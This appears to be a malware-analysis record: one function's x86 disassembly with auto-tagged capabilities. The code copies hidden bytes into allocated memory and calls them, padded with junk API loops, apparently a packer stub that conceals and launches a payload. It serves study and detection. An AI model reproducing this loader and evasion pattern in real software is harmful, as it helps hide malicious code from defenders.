Function at 0x402238
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Terminate thread

Disassembly:
mov eax, 0x419749
call fcn.00419650
mov ecx, dword [0x2d93ee8]
sub esp, 0x8d4
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x402332
push str.tediwipalu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
bts dword [eax], 0
lea eax, [ebp - 0x4dc]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x8dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.00406784
pop ecx
push ebx
call fcn.00405734
pop ecx
push ebx
push ebx
call fcn.004062f8
pop ecx
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401104
push str.bad_exception
lea ecx, [ebp - 0x20]
call fcn.0040112b
lea ecx, [ebp - 0x20]
call fcn.00401147
push ebx
push ebx
call fcn.004056ee
push ebx
call fcn.00406478
add esp, 0xc
push ebx
call fcn.004067fb
pop ecx
push ebx
call fcn.00406478
mov dword [esp], 0x420800
call fcn.004064a2
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00402c59
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00402c66
push ecx
push ecx
lea ecx, [ebp - 0xdc]
call fcn.00402ca3
lea ecx, [ebp - 0xdc]
call fcn.004024bf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402c93
mov ecx, dword [0x2d93ee8]
mov eax, dword [0x426ed8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2d93eec], eax
mov dword [0x2d93ee8], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2d92edc], eax
call fcn.004021cd
mov esi, 0x29156e
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x40235f
mov ecx, dword [0x2d93ee8]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test ecx, ecx
je 0x4023d6
mov eax, dword [0x2d93eec]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d92edc]
mov byte [eax + esi], cl
mov ecx, dword [0x2d93ee8]
cmp ecx, 0x490
jne 0x4023d1
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
call ebx
xor ecx, ecx
lea eax, [ebp - 0x8dc]
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
lea eax, [ebp - 0x4dc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x2d93ee8]
inc esi
cmp esi, ecx
jb 0x40237a
xor esi, esi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x40242a
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor ecx, ecx
lea eax, [ebp - 0x24]
push ecx
push eax
push ecx
lea eax, [ebp - 0x8dc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
call ebx
xor ecx, ecx
lea eax, [ebp - 0x4dc]
push ecx
push ecx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ecx, dword [0x2d93ee8]
inc esi
cmp esi, 0x38681
jl 0x4023d8
push ecx
call fcn.0040218a
xor ebx, ebx
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x40244d
call fcn.004021b1
inc esi
cmp esi, 0x674db
jl 0x40243d
push 0x7b
pop esi
cmp dword [0x2d93ee8], 0x86
jne 0x40249b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push str.kixugawixakufuvudivisikiros
push str.noyoj
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec esi
jne 0x402459
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d92edc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret